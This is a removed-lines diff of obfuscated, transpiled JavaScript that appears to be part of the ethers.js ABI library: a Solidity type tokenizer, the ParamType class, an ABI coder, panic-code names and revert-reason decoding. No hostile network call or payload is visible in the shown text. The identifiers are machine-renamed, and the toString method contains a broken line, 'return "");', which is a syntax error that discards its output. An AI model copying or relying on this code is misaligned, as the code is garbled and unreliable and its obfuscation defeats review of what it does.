- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- }
- function _0x282636(_0x112c24, _0x1f700c, _0x51ffc6) {
- if (!_0x1f700c.has(_0x112c24)) {
- throw new TypeError("attempted to get private field on non-instance");
- }
- return _0x51ffc6;
- }
- function _0x265860(_0x23a3e4) {
- var _0x404d1c = new Set();
- _0x23a3e4.forEach(function (_0xacc82e) {
- return _0x404d1c.add(_0xacc82e);
- });
- return Object.freeze(_0x404d1c);
- }
- var _0x1cd184 = "constant external internal payable private public pure view";
- _0x265860(_0x1cd184.split(" "));
- var _0x5dba36 = "constructor error event fallback function receive struct";
- _0x265860(_0x5dba36.split(" "));
- var _0xfe4f4d = "calldata memory storage payable indexed";
- var _0x5088ce = _0x265860(_0xfe4f4d.split(" "));
- var _0x3fb87d = _0x265860([_0x5dba36, _0xfe4f4d, "tuple returns", _0x1cd184].join(" ").split(" "));
- var _0x40428f = {
- "(": "OPEN_PAREN",
- ")": "CLOSE_PAREN",
- "[": "OPEN_BRACKET",
- "]": "CLOSE_BRACKET",
- ",": "COMMA",
- "@": "AT"
- };
- var _0x36186e = new RegExp("^(\\s*)");
- var _0x16aeff = new RegExp("^([0-9]+)");
- var _0x5c714b = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)");
- var _0x15bf59 = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)$");
- var _0x36db19 = new RegExp("^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$");
- var _0x2a4e4f = new WeakMap();
- var _0x577290 = new WeakMap();
- var _0xeecdee = new WeakSet();
- var _0x2466a3 = function () {
- function _0x34217c(_0x40e87a) {
- _0x1d998d(this, _0x34217c);
- _0x4c9af5(this, _0xeecdee);
- _0x2c2ccb(this, _0x2a4e4f, {
- writable: true,
- value: undefined
- });
- _0x2c2ccb(this, _0x577290, {
- writable: true,
- value: undefined
- });
- _0x207f54(this, _0x2a4e4f, 0);
- _0x207f54(this, _0x577290, _0x40e87a.slice());
- }
- _0x561e78(_0x34217c, [{
- key: "offset",
- get: function () {
- return _0x46b89d(this, _0x2a4e4f);
- }
- }, {
- key: "length",
- get: function () {
- return _0x46b89d(this, _0x577290).length - _0x46b89d(this, _0x2a4e4f);
- }
- }, {
- key: "clone",
- value: function () {
- return new _0x34217c(_0x46b89d(this, _0x577290));
- }
- }, {
- key: "reset",
- value: function () {
- _0x207f54(this, _0x2a4e4f, 0);
- }
- }, {
- key: "popKeyword",
- value: function (_0x4ce624) {
- var _0x485834 = this.peek();
- if ("KEYWORD" !== _0x485834.type || !_0x4ce624.has(_0x485834.text)) {
- throw new Error("expected keyword ".concat(_0x485834.text));
- }
- return this.pop().text;
- }
- }, {
- key: "popType",
- value: function (_0x96b89) {
- if (this.peek().type !== _0x96b89) {
- throw new Error("expected ".concat(_0x96b89, "; got ").concat(JSON.stringify(this.peek())));
- }
- return this.pop().text;
- }
- }, {
- key: "popParen",
- value: function () {
- var _0x5efa74 = this.peek();
- if ("OPEN_PAREN" !== _0x5efa74.type) {
- throw new Error("bad start");
- }
- var _0x39e770 = _0x282636(this, _0xeecdee, _0x52b295).call(this, _0x46b89d(this, _0x2a4e4f) + 1, _0x5efa74.match + 1);
- _0x207f54(this, _0x2a4e4f, _0x5efa74.match + 1);
- return _0x39e770;
- }
- }, {
- key: "popParams",
- value: function () {
- var _0x23b031 = this.peek();
- if ("OPEN_PAREN" !== _0x23b031.type) {
- throw new Error("bad start");
- }
- for (var _0x5dc1d1 = []; _0x46b89d(this, _0x2a4e4f) < _0x23b031.match - 1;) {
- var _0x3bb00f = this.peek().linkNext;
- _0x5dc1d1.push(_0x282636(this, _0xeecdee, _0x52b295).call(this, _0x46b89d(this, _0x2a4e4f) + 1, _0x3bb00f));
- _0x207f54(this, _0x2a4e4f, _0x3bb00f);
- }
- _0x207f54(this, _0x2a4e4f, _0x23b031.match + 1);
- return _0x5dc1d1;
- }
- }, {
- key: "peek",
- value: function () {
- if (_0x46b89d(this, _0x2a4e4f) >= _0x46b89d(this, _0x577290).length) {
- throw new Error("out-of-bounds");
- }
- return _0x46b89d(this, _0x577290)[_0x46b89d(this, _0x2a4e4f)];
- }
- }, {
- key: "peekKeyword",
- value: function (_0x1d5df1) {
- var _0x13985c = this.peekType("KEYWORD");
- return null != _0x13985c && _0x1d5df1.has(_0x13985c) ? _0x13985c : null;
- }
- }, {
- key: "peekType",
- value: function (_0x4ab129) {
- if (0 === this.length) {
- return null;
- }
- var _0x31dd5b = this.peek();
- return _0x31dd5b.type === _0x4ab129 ? _0x31dd5b.text : null;
- }
- }, {
- key: "pop",
- value: function () {
- var _0x34e1cc;
- var _0x49b32e = this.peek();
- _0x207f54(this, _0x2a4e4f, (_0x34e1cc = _0x46b89d(this, _0x2a4e4f), ++_0x34e1cc));
- return _0x49b32e;
- }
- }, {
- key: "toString",
- value: function () {
- for (var _0x38305a = [], _0x1ba55e = _0x46b89d(this, _0x2a4e4f); _0x1ba55e < _0x46b89d(this, _0x577290).length; _0x1ba55e++) {
- var _0x2e05a0 = _0x46b89d(this, _0x577290)[_0x1ba55e];
- _0x38305a.push("".concat(_0x2e05a0.type, ":").concat(_0x2e05a0.text));
- }
- return "");
- }
- }]);
- return _0x34217c;
- }();
- function _0x52b295() {
- var _0x139a9 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : 0;
- var _0x1b83fb = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : 0;
- return new _0x2466a3(_0x46b89d(this, _0x577290).slice(_0x139a9, _0x1b83fb).map(function (_0x48c52e) {
- return Object.freeze(Object.assign({}, _0x48c52e, {
- match: _0x48c52e.match - _0x139a9,
- linkBack: _0x48c52e.linkBack - _0x139a9,
- linkNext: _0x48c52e.linkNext - _0x139a9
- }));
- }));
- }
- function _0x7b6ed4(_0x29845b, _0x26cd0a) {
- for (var _0xcf94a7 = new Set();;) {
- var _0x20e2c1 = _0x29845b.peekType("KEYWORD");
- if (null == _0x20e2c1 || _0x26cd0a && !_0x26cd0a.has(_0x20e2c1)) {
- break;
- }
- if (_0x29845b.pop(), _0xcf94a7.has(_0x20e2c1)) {
- throw new Error("duplicate keywords: ".concat(JSON.stringify(_0x20e2c1)));
- }
- _0xcf94a7.add(_0x20e2c1);
- }
- return Object.freeze(_0xcf94a7);
- }
- var _0x188111 = new RegExp(/^(.*)\[([0-9]*)\]$/);
- function _0x1dbe53(_0x3c8c9f) {
- var _0x1ad0e9 = _0x3c8c9f.match(_0x36db19);
- if (_0x413a2d(_0x1ad0e9, "invalid type", "type", _0x3c8c9f), "uint" === _0x3c8c9f) {
- return "uint256";
- }
- if ("int" === _0x3c8c9f) {
- return "int256";
- }
- if (_0x1ad0e9[2]) {
- var _0x38f8f8 = parseInt(_0x1ad0e9[2]);
- _0x413a2d(0 !== _0x38f8f8 && _0x38f8f8 <= 32, "invalid bytes length", "type", _0x3c8c9f);
- } else {
- if (_0x1ad0e9[3]) {
- var _0x312bc9 = parseInt(_0x1ad0e9[3]);
- _0x413a2d(0 !== _0x312bc9 && _0x312bc9 <= 256 && _0x312bc9 % 8 == 0, "invalid numeric width", "type", _0x3c8c9f);
- }
- }
- return _0x3c8c9f;
- }
- var _0x29b2cc = {};
- var _0x58501e = Symbol.for("_ethers_internal");
- var _0x544afd = "_ParamTypeInternal";
- var _0x88a2c8 = new WeakSet();
- var _0x5e1ae4 = function () {
- function _0x2d657d(_0x555292, _0x403782, _0xfde909, _0x4e15ca, _0x53c29d, _0x3c8d76, _0x49c3f0, _0x494598) {
- if (_0x1d998d(this, _0x2d657d), _0x4c9af5(this, _0x88a2c8), _0x713ed3(this, "name", undefined), _0x713ed3(this, "type", undefined), _0x713ed3(this, "baseType", undefined), _0x713ed3(this, "indexed", undefined), _0x713ed3(this, "components", undefined), _0x713ed3(this, "arrayLength", undefined), _0x713ed3(this, "arrayChildren", undefined), _0x5c4373(_0x555292, _0x29b2cc, "ParamType"), Object.defineProperty(this, _0x58501e, {
- value: _0x544afd
- }), _0x3c8d76 && (_0x3c8d76 = Object.freeze(_0x3c8d76.slice())), "array" === _0x4e15ca) {
- if (null == _0x49c3f0 || null == _0x494598) {
- throw new Error("");
- }
- } else {
- if (null != _0x49c3f0 || null != _0x494598) {
- throw new Error("");
- }
- }
- if ("tuple" === _0x4e15ca) {
- if (null == _0x3c8d76) {
- throw new Error("");
- }
- } else {
- if (null != _0x3c8d76) {
- throw new Error("");
- }
- }
- _0x7e8dd6(this, {
- name: _0x403782,
- type: _0xfde909,
- baseType: _0x4e15ca,
- indexed: _0x53c29d,
- components: _0x3c8d76,
- arrayLength: _0x49c3f0,
- arrayChildren: _0x494598
- });
- }
- var _0xb1375a;
- _0x561e78(_0x2d657d, [{
- key: "format",
- value: function (_0x22971c) {
- if (null == _0x22971c && (_0x22971c = "sighash"), "json" === _0x22971c) {
- var _0x5f3bac = {
- type: "tuple" === this.baseType ? "tuple" : this.type,
- name: this.name || undefined
- };
- "boolean" == typeof this.indexed && (_0x5f3bac.indexed = this.indexed);
- this.isTuple() && (_0x5f3bac.components = this.components.map(function (_0x14a0e6) {
- return JSON.parse(_0x14a0e6.format(_0x22971c));
- }));
- return JSON.stringify(_0x5f3bac);
- }
- var _0x13448 = "";
- this.isArray() ? (_0x13448 += this.arrayChildren.format(_0x22971c), _0x13448 += "[".concat(this.arrayLength < 0 ? "" : String(this.arrayLength), "]")) : this.isTuple() ? ("sighash" !== _0x22971c && (_0x13448 += this.type), _0x13448 += "(" + this.components.map(function (_0x265153) {
- return _0x265153.format(_0x22971c);
- }).join("full" === _0x22971c ? ", " : ",") + ")") : _0x13448 += this.type;
- "sighash" !== _0x22971c && (true === this.indexed && (_0x13448 += " indexed"), "full" === _0x22971c && this.name && (_0x13448 += " " + this.name));
- return _0x13448;
- }
- }, {
- key: "isArray",
- value: function () {
- return "array" === this.baseType;
- }
- }, {
- key: "isTuple",
- value: function () {
- return "tuple" === this.baseType;
- }
- }, {
- key: "isIndexable",
- value: function () {
- return null != this.indexed;
- }
- }, {
- key: "walk",
- value: function (_0x65e0e5, _0x56a3c8) {
- if (this.isArray()) {
- if (!Array.isArray(_0x65e0e5)) {
- throw new Error("invalid array value");
- }
- if (-1 !== this.arrayLength && _0x65e0e5.length !== this.arrayLength) {
- throw new Error("array is wrong length");
- }
- var _0x401266 = this;
- return _0x65e0e5.map(function (_0x438d1c) {
- return _0x401266.arrayChildren.walk(_0x438d1c, _0x56a3c8);
- });
- }
- if (this.isTuple()) {
- if (!Array.isArray(_0x65e0e5)) {
- throw new Error("invalid tuple value");
- }
- if (_0x65e0e5.length !== this.components.length) {
- throw new Error("array is wrong length");
- }
- var _0x34863e = this;
- return _0x65e0e5.map(function (_0x39979a, _0x34217a) {
- return _0x34863e.components[_0x34217a].walk(_0x39979a, _0x56a3c8);
- });
- }
- return _0x56a3c8(this.type, _0x65e0e5);
- }
- }, {
- key: "walkAsync",
- value: (_0xb1375a = _0x203d83(_0x4afc9d.mark(function _0x43b8b7(_0x13a507, _0x2c1faf) {
- var _0x1aba5d;
- var _0x1d9eac;
- return _0x4afc9d.wrap(function (_0x332ce2) {
- for (;;) {
- switch (_0x332ce2.prev = _0x332ce2.next) {
- case 0:
- if (_0x1aba5d = [], _0x1d9eac = [_0x13a507], _0x282636(this, _0x88a2c8, _0x2f5600).call(this, _0x1aba5d, _0x13a507, _0x2c1faf, function (_0x150a61) {
- _0x1d9eac[0] = _0x150a61;
- }), !_0x1aba5d.length) {
- _0x332ce2.next = 6;
- break;
- }
- _0x332ce2.next = 6;
- return Promise.all(_0x1aba5d);
- case 6:
- return _0x332ce2.abrupt("return", _0x1d9eac[0]);
- case 7:
- case "end":
- return _0x332ce2.stop();
- }
- }
- }, _0x43b8b7, this);
- })), function (_0x5482fc, _0x3d20bd) {
- return _0xb1375a.apply(this, arguments);
- })
- }], [{
- key: "from",
- value: function (_0x5c4638, _0x443f88) {
- if (_0x2d657d.isParamType(_0x5c4638)) {
- return _0x5c4638;
- }
- if ("string" == typeof _0x5c4638) {
- return _0x2d657d.from(function (_0x4ab9ef) {
- for (var _0x2c303a = [], _0x37570d = function (_0x10b4b3) {
- var _0x411920 = _0x3a60cb < _0x4ab9ef.length ? JSON.stringify(_0x4ab9ef[_0x3a60cb]) : "$EOI";
- throw new Error("invalid token ".concat(_0x411920, " at ").concat(_0x3a60cb, ": ").concat(_0x10b4b3));
- }, _0x3b7351 = [], _0x10857e = [], _0x3a60cb = 0; _0x3a60cb < _0x4ab9ef.length;) {
- var _0x53d0b8 = _0x4ab9ef.substring(_0x3a60cb);
- var _0x11242b = _0x53d0b8.match(_0x36186e);
- _0x11242b && (_0x3a60cb += _0x11242b[1].length, _0x53d0b8 = _0x4ab9ef.substring(_0x3a60cb));
- var _0x4c64d0 = {
- depth: _0x3b7351.length,
- linkBack: -1,
- linkNext: -1,
- match: -1,
- type: "",
- text: "",
- offset: _0x3a60cb,
- value: -1
- };
- _0x2c303a.push(_0x4c64d0);
- var _0x186521 = _0x40428f[_0x53d0b8[0]] || "";
- if (_0x186521) {
- if (_0x4c64d0.type = _0x186521, _0x4c64d0.text = _0x53d0b8[0], _0x3a60cb++, "OPEN_PAREN" === _0x186521) {
- _0x3b7351.push(_0x2c303a.length - 1);
- _0x10857e.push(_0x2c303a.length - 1);
- } else {
- if ("CLOSE_PAREN" == _0x186521) {
- 0 === _0x3b7351.length && _0x37570d("no matching open bracket");
- _0x4c64d0.match = _0x3b7351.pop();
- _0x2c303a[_0x4c64d0.match].match = _0x2c303a.length - 1;
- _0x4c64d0.depth--;
- _0x4c64d0.linkBack = _0x10857e.pop();
- _0x2c303a[_0x4c64d0.linkBack].linkNext = _0x2c303a.length - 1;
- } else {
- if ("COMMA" === _0x186521) {
- _0x4c64d0.linkBack = _0x10857e.pop();
- _0x2c303a[_0x4c64d0.linkBack].linkNext = _0x2c303a.length - 1;
- _0x10857e.push(_0x2c303a.length - 1);
- } else {
- if ("OPEN_BRACKET" === _0x186521) {
- _0x4c64d0.type = "BRACKET";
- } else {
- if ("CLOSE_BRACKET" === _0x186521) {
- var _0x554b31 = _0x2c303a.pop().text;
- if (_0x2c303a.length > 0 && "NUMBER" === _0x2c303a[_0x2c303a.length - 1].type) {
- var _0x423f4d = _0x2c303a.pop().text;
- _0x554b31 = _0x423f4d + _0x554b31;
- _0x2c303a[_0x2c303a.length - 1].value = _0x453994(_0x423f4d);
- }
- if (0 === _0x2c303a.length || "BRACKET" !== _0x2c303a[_0x2c303a.length - 1].type) {
- throw new Error("missing opening bracket");
- }
- _0x2c303a[_0x2c303a.length - 1].text += _0x554b31;
- }
- }
- }
- }
- }
- } else {
- _0x11242b = _0x53d0b8.match(_0x5c714b);
- if (_0x11242b) {
- if (_0x4c64d0.text = _0x11242b[1], _0x3a60cb += _0x4c64d0.text.length, _0x3fb87d.has(_0x4c64d0.text)) {
- _0x4c64d0.type = "KEYWORD";
- continue;
- }
- if (_0x4c64d0.text.match(_0x36db19)) {
- _0x4c64d0.type = "TYPE";
- continue;
- }
- _0x4c64d0.type = "ID";
- } else {
- if (!(_0x11242b = _0x53d0b8.match(_0x16aeff))) {
- throw new Error("unexpected token ".concat(JSON.stringify(_0x53d0b8[0]), " at position ").concat(_0x3a60cb));
- }
- _0x4c64d0.text = _0x11242b[1];
- _0x4c64d0.type = "NUMBER";
- _0x3a60cb += _0x4c64d0.text.length;
- }
- }
- }
- return new _0x2466a3(_0x2c303a.map(function (_0x561d07) {
- return Object.freeze(_0x561d07);
- }));
- }(_0x5c4638), _0x443f88);
- }
- if (_0x5c4638 instanceof _0x2466a3) {
- var _0x5eab45 = "";
- var _0x5bafce = "";
- var _0x5ec79d = null;
- _0x7b6ed4(_0x5c4638, _0x265860(["tuple"])).has("tuple") || _0x5c4638.peekType("OPEN_PAREN") ? (_0x5bafce = "tuple", _0x5ec79d = _0x5c4638.popParams().map(function (_0x37dad7) {
- return _0x2d657d.from(_0x37dad7);
- }), _0x5eab45 = "tuple(".concat(_0x5ec79d.map(function (_0x1ff6af) {
- return _0x1ff6af.format();
- }).join(","), ")")) : _0x5bafce = _0x5eab45 = _0x1dbe53(_0x5c4638.popType("TYPE"));
- for (var _0x8266e4 = null, _0x2d03b8 = null; _0x5c4638.length && _0x5c4638.peekType("BRACKET");) {
- var _0x83f7fb = _0x5c4638.pop();
- _0x8266e4 = new _0x2d657d(_0x29b2cc, "", _0x5eab45, _0x5bafce, null, _0x5ec79d, _0x2d03b8, _0x8266e4);
- _0x2d03b8 = _0x83f7fb.value;
- _0x5eab45 += _0x83f7fb.text;
- _0x5bafce = "array";
- _0x5ec79d = null;
- }
- var _0xc50e42 = null;
- if (_0x7b6ed4(_0x5c4638, _0x5088ce).has("indexed")) {
- if (!_0x443f88) {
- throw new Error("");
- }
- _0xc50e42 = true;
- }
- var _0x579aef = _0x5c4638.peekType("ID") ? _0x5c4638.pop().text : "";
- if (_0x5c4638.length) {
- throw new Error("leftover tokens");
- }
- return new _0x2d657d(_0x29b2cc, _0x579aef, _0x5eab45, _0x5bafce, _0xc50e42, _0x5ec79d, _0x2d03b8, _0x8266e4);
- }
- var _0x1d482e = _0x5c4638.name;
- _0x413a2d(!_0x1d482e || "string" == typeof _0x1d482e && _0x1d482e.match(_0x15bf59), "invalid name", "obj.name", _0x1d482e);
- var _0x4b2f6c = _0x5c4638.indexed;
- null != _0x4b2f6c && (_0x413a2d(_0x443f88, "parameter cannot be indexed", "obj.indexed", _0x5c4638.indexed), _0x4b2f6c = !!_0x4b2f6c);
- var _0x454f25 = _0x5c4638.type;
- var _0x59f55c = _0x454f25.match(_0x188111);
- if (_0x59f55c) {
- var _0x14f67d = parseInt(_0x59f55c[2] || "-1");
- var _0x52aaa2 = _0x2d657d.from({
- type: _0x59f55c[1],
- components: _0x5c4638.components
- });
- return new _0x2d657d(_0x29b2cc, _0x1d482e || "", _0x454f25, "array", _0x4b2f6c, null, _0x14f67d, _0x52aaa2);
- }
- if ("tuple" === _0x454f25 || _0x454f25.startsWith("tuple(") || _0x454f25.startsWith("(")) {
- var _0x2ecf02 = null != _0x5c4638.components ? _0x5c4638.components.map(function (_0x1f5385) {
- return _0x2d657d.from(_0x1f5385);
- }) : null;
- return new _0x2d657d(_0x29b2cc, _0x1d482e || "", _0x454f25, "tuple", _0x4b2f6c, _0x2ecf02, null, null);
- }
- _0x454f25 = _0x1dbe53(_0x5c4638.type);
- return new _0x2d657d(_0x29b2cc, _0x1d482e || "", _0x454f25, _0x454f25, _0x4b2f6c, null, null, null);
- }
- }, {
- key: "isParamType",
- value: function (_0x74e1c5) {
- return _0x74e1c5 && _0x74e1c5[_0x58501e] === _0x544afd;
- }
- }]);
- return _0x2d657d;
- }();
- function _0x2f5600(_0x1f1ff3, _0x3cc193, _0x285935, _0x3f31e6) {
- if (this.isArray()) {
- if (!Array.isArray(_0x3cc193)) {
- throw new Error("invalid array value");
- }
- if (-1 !== this.arrayLength && _0x3cc193.length !== this.arrayLength) {
- throw new Error("array is wrong length");
- }
- var _0x58922d = this.arrayChildren;
- var _0x4d5479 = _0x3cc193.slice();
- _0x4d5479.forEach(function (_0x10d8b1, _0x443b65) {
- _0x282636(_0x58922d, _0x88a2c8, _0x2f5600).call(_0x58922d, _0x1f1ff3, _0x10d8b1, _0x285935, function (_0x4e7e4e) {
- _0x4d5479[_0x443b65] = _0x4e7e4e;
- });
- });
- return void _0x3f31e6(_0x4d5479);
- }
- if (this.isTuple()) {
- var _0x19f1d0;
- var _0x404c70 = this.components;
- if (Array.isArray(_0x3cc193)) {
- _0x19f1d0 = _0x3cc193.slice();
- } else {
- if (null == _0x3cc193 || "object" !== _0x4dce66(_0x3cc193)) {
- throw new Error("invalid tuple value");
- }
- _0x19f1d0 = _0x404c70.map(function (_0x47b0fa) {
- if (!_0x47b0fa.name) {
- throw new Error("cannot use object value with unnamed components");
- }
- if (!(_0x47b0fa.name in _0x3cc193)) {
- throw new Error("missing value for component ".concat(_0x47b0fa.name));
- }
- return _0x3cc193[_0x47b0fa.name];
- });
- }
- if (_0x19f1d0.length !== this.components.length) {
- throw new Error("array is wrong length");
- }
- _0x19f1d0.forEach(function (_0x193d9f, _0x3efcb3) {
- var _0x3a8080;
- _0x282636(_0x3a8080 = _0x404c70[_0x3efcb3], _0x88a2c8, _0x2f5600).call(_0x3a8080, _0x1f1ff3, _0x193d9f, _0x285935, function (_0x42e26a) {
- _0x19f1d0[_0x3efcb3] = _0x42e26a;
- });
- });
- return void _0x3f31e6(_0x19f1d0);
- }
- var _0x421c06 = _0x285935(this.type, _0x3cc193);
- _0x421c06.then ? _0x1f1ff3.push(_0x203d83(_0x4afc9d.mark(function _0x3de1fb() {
- return _0x4afc9d.wrap(function (_0xcc867d) {
- for (;;) {
- switch (_0xcc867d.prev = _0xcc867d.next) {
- case 0:
- _0xcc867d.t0 = _0x3f31e6;
- _0xcc867d.next = 3;
- return _0x421c06;
- case 3:
- _0xcc867d.t1 = _0xcc867d.sent;
- (0, _0xcc867d.t0)(_0xcc867d.t1);
- case 5:
- case "end":
- return _0xcc867d.stop();
- }
- }
- }, _0x3de1fb);
- }))()) : _0x3f31e6(_0x421c06);
- }
- function _0xff97e8(_0x4673a0, _0x3fe149, _0x34d8d1) {
- if (!_0x3fe149.has(_0x4673a0)) {
- throw new TypeError("attempted to get private field on non-instance");
- }
- return _0x34d8d1;
- }
- var _0x1a76c1 = new Map();
- _0x1a76c1.set(0, "GENERIC_PANIC");
- _0x1a76c1.set(1, "ASSERT_FALSE");
- _0x1a76c1.set(17, "OVERFLOW");
- _0x1a76c1.set(18, "DIVIDE_BY_ZERO");
- _0x1a76c1.set(33, "ENUM_RANGE_ERROR");
- _0x1a76c1.set(34, "BAD_STORAGE_DATA");
- _0x1a76c1.set(49, "STACK_UNDERFLOW");
- _0x1a76c1.set(50, "ARRAY_RANGE_ERROR");
- _0x1a76c1.set(65, "OUT_OF_MEMORY");
- _0x1a76c1.set(81, "UNINITIALIZED_FUNCTION_CALL");
- var _0x190f53 = new RegExp(/^bytes([0-9]*)$/);
- var _0x171282 = new RegExp(/^(u?int)([0-9]*)$/);
- var _0x71ce4c = null;
- var _0x403e2a = new WeakSet();
- var _0x9f08ce = function () {
- function _0x2e2e63() {
- var _0x121efd;
- var _0x5277cd;
- _0x1d998d(this, _0x2e2e63);
- (function (_0x2f5016, _0x1b1a8f) {
- if (_0x1b1a8f.has(_0x2f5016)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- })(_0x121efd = this, _0x5277cd = _0x403e2a);
- _0x5277cd.add(_0x121efd);
- }
- _0x561e78(_0x2e2e63, [{
- key: "getDefaultValue",
- value: function (_0x4be121) {
- var _0x35ad61 = this;
- var _0x45219e = _0x4be121.map(function (_0x413467) {
- return _0xff97e8(_0x35ad61, _0x403e2a, _0x51dc53).call(_0x35ad61, _0x5e1ae4.from(_0x413467));
- });
- return new _0xfa9f90(_0x45219e, "_").defaultValue();
- }
- }, {
- key: "encode",
- value: function (_0x3233de, _0x670661) {
- var _0x43ae07 = this;
- _0x42b886(_0x670661.length, _0x3233de.length, "types/values length mismatch");
- var _0xb4ad3 = _0x3233de.map(function (_0x3e7e5e) {
- return _0xff97e8(_0x43ae07, _0x403e2a, _0x51dc53).call(_0x43ae07, _0x5e1ae4.from(_0x3e7e5e));
- });
- var _0x48c70f = new _0xfa9f90(_0xb4ad3, "_");
- var _0x5d00b5 = new _0x528550();
- _0x48c70f.encode(_0x5d00b5, _0x670661);
- return _0x5d00b5.data;
- }
- }, {
- key: "decode",
- value: function (_0x108ff3, _0x2e0f85, _0x54947a) {
- var _0x5e0351 = this;
- var _0x1875b2 = _0x108ff3.map(function (_0x2c2f5) {
- return _0xff97e8(_0x5e0351, _0x403e2a, _0x51dc53).call(_0x5e0351, _0x5e1ae4.from(_0x2c2f5));
- });
- return new _0xfa9f90(_0x1875b2, "_").decode(new _0x5bbccc(_0x2e0f85, _0x54947a));
- }
- }], [{
- key: "defaultAbiCoder",
- value: function () {
- null == _0x71ce4c && (_0x71ce4c = new _0x2e2e63());
- return _0x71ce4c;
- }
- }, {
- key: "getBuiltinCallException",
- value: function (_0x159f2f, _0x29f9eb, _0x3a89e8) {
- return function (_0x5a4505, _0x588ae1, _0x5e00e9, _0x17aa55) {
- var _0x492aa3 = "missing revert data";
- var _0x26f70a = null;
- var _0x434697 = null;
- if (_0x5e00e9) {
- _0x492aa3 = "execution reverted";
- var _0xaa6b37 = _0x2565f8(_0x5e00e9);
- if (_0x5e00e9 = _0x192257(_0x5e00e9), 0 === _0xaa6b37.length) {
- _0x492aa3 += " (no data present; likely require(false) occurred";
- _0x26f70a = "require(false)";
- } else {
- if (_0xaa6b37.length % 32 != 4) {
- _0x492aa3 += " (could not decode reason; invalid data length)";
- } else {
- if ("0x08c379a0" === _0x192257(_0xaa6b37.slice(0, 4))) {
- try {
- _0x434697 = {
- signature: "Error(string)",
- name: "Error",
- args: [_0x26f70a = _0x17aa55.decode(["string"], _0xaa6b37.slice(4))[0]]
- };
- _0x492aa3 += ": ".concat(JSON.stringify(_0x26f70a));
- } catch (_0x4eff1b) {
- _0x492aa3 += " (could not decode reason; invalid string data)";
- }
- } else {
- if ("0x4e487b71" === _0x192257(_0xaa6b37.slice(0, 4))) {
- try {
- var _0x5a000d = Number(_0x17aa55.decode(["uint256"], _0xaa6b37.slice(4))[0]);
- _0x434697 = {
- signature: "Panic(uint256)",
- name: "Panic",
- args: [_0x5a000d]
- };
- _0x26f70a = "Panic due to ".concat(_0x1a76c1.get(_0x5a000d) || "UNKNOWN", "(").concat(_0x5a000d, ")");
- _0x492aa3 += ": ".concat(_0x26f70a);
- } catch (_0x158049) {
- _0x492aa3 += " (could not decode panic code)";
- }
- } else {
- _0x492aa3 += " (unknown custom error)";
- }
- }
- }
- }
- }
- var _0x99aa2a = {
- to: _0x588ae1.to ? _0x46447e(_0x588ae1.to) : null,
- data: _0x588ae1.data || "0x"
- };
- _0x588ae1.from && (_0x99aa2a.from = _0x46447e(_0x588ae1.from));
- return _0x283e69(_0x492aa3, "CALL_EXCEPTION", {
- action: _0x5a4505,
- data: _0x5e00e9,
- reason: _0x26f70a,
- transaction: _0x99aa2a,
- invocation: null,
- revert: _0x434697
- });
- }(_0x159f2f, _0x29f9eb, _0x3a89e8, _0x2e2e63.defaultAbiCoder());
- }
- }]);
- return _0x2e2e63;
- }();
- function _0x51dc53(_0x4bd6ff) {
- var _0x17e795 = this;
- if (_0x4bd6ff.isArray()) {
- return new _0x216576(_0xff97e8(this, _0x403e2a, _0x51dc53).call(this, _0x4bd6ff.arrayChildren), _0x4bd6ff.arrayLength, _0x4bd6ff.name);
- }
- if (_0x4bd6ff.isTuple()) {
- return new _0xfa9f90(_0x4bd6ff.components.map(function (_0x2135d6) {
- return _0xff97e8(_0x17e795, _0x403e2a, _0x51dc53).call(_0x17e795, _0x2135d6);
- }), _0x4bd6ff.name);
- }
- switch (_0x4bd6ff.baseType) {
- case "address":
- return new _0x1f2021(_0x4bd6ff.name);
- case "bool":
- return new _0x1a5b2f(_0x4bd6ff.name);
- case "string":
- return new _0x4290ce(_0x4bd6ff.name);
- case "bytes":
- return new _0x43c324(_0x4bd6ff.name);
- case "":
- return new _0x4846ff(_0x4bd6ff.name);
- }
- var _0x53985c = _0x4bd6ff.type.match(_0x171282);
- if (_0x53985c) {
- var _0x11f513 = parseInt(_0x53985c[2] || "256");
- _0x413a2d(0 !== _0x11f513 && _0x11f513 <= 256 && _0x11f513 % 8 == 0, "invalid " + _0x53985c[1] + " bit length", "param", _0x4bd6ff);
- return new _0x5e0bc3(_0x11f513 / 8, "int" === _0x53985c[1], _0x4bd6ff.name);
- }
- _0x53985c = _0x4bd6ff.type.match(_0x190f53);
- if (_0x53985c) {
- var _0x1c7460 = parseInt(_0x53985c[1]);
- _0x413a2d(0 !== _0x1c7460 && _0x1c7460 <= 32, "invalid bytes length", "param", _0x4bd6ff);
- return new _0xae3676(_0x1c7460, _0x4bd6ff.name);
- }
- _0x413a2d(false, "invalid type", "type", _0x4bd6ff.type);
- }
- function _0x5672d7(_0x3ee688, _0x2c0714) {
- return _0x2347b8.apply(this, arguments);
- }
- function _0x2347b8() {
- return (_0x2347b8 = _0x203d83(_0x4afc9d.mark(function _0x525eb6(_0xbf95dc, _0x5cc98a) {
- var _0x39a8d4;
- return _0x4afc9d.wrap(function (_0x1183ee) {
- for (;;) {
- switch (_0x1183ee.prev = _0x1183ee.next) {
- case 0:
- _0x1183ee.next = 2;
- return _0x5cc98a;
- case 2:
- null != (_0x39a8d4 = _0x1183ee.sent) && "0x0000000000000000000000000000000000000000" !== _0x39a8d4 || (_0x2b816d("string" != typeof _0xbf95dc, "unconfigured name", "UNCONFIGURED_NAME", {
- value: _0xbf95dc
- }), _0x413a2d(false, "invalid AddressLike value; did not resolve to a value address", "target", _0xbf95dc));
- return _0x1183ee.abrupt("return", _0x46447e(_0x39a8d4));
- case 5:
- case "end":
- return _0x1183ee.stop();
- }
- }
- }, _0x525eb6);
- }))).apply(this, arguments);
- }
- function _0x39f31f(_0x15c76b, _0x4b7cda) {
- return "string" == typeof _0x15c76b ? _0x15c76b.match(/^0x[0-9a-f]{40}$/i) ? _0x46447e(_0x15c76b) : (_0x2b816d(null != _0x4b7cda, "ENS resolution requires a provider", "UNSUPPORTED_OPERATION", {
- operation: "resolveName"
